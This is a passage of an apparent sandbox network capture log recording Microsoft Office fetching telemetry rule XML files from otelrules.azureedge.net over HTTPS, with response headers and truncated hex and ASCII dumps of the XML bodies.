2024-11-20 09:20:16 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.9	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:16 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-185f5d8b95cqnkdjhC1NYCm8w800000009s000000000k7nw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.9	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:16 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092016Z-185f5d8b95cmd8vfhC1NYC0g4000000005y0000000005wer x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.9	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:16 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-185f5d8b95ctl8xlhC1NYCn94g0000000a0g00000000fcqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.9	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:16 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-185f5d8b95c4vwv8hC1NYCy4v40000000a2000000000g93h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.9	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:17 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-1777c6cb754dqf99hC1TEB5nps000000093g00000000ktdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.9	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:17 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-r1d97b9957744xz5hC1TEB5bf800000008k0000000005c35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.9	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:17 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-r1d97b99577ckpmjhC1TEBrzs000000008s0000000003wsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.9	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:17 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-185f5d8b95cgrrn8hC1NYCgwh400000009x0000000006yqp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.9	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:17 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:17 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092017Z-185f5d8b95cf7qddhC1NYC66an0000000a40000000004z24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:17 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.9	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:18 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:18 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092018Z-185f5d8b95cjbkr4hC1NYCeu2400000009ug00000000c63w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:18 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.9	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:18 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:18 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092018Z-1777c6cb754xlpjshC1TEBv8cc00000009h0000000007hv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:18 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.9	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:18 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
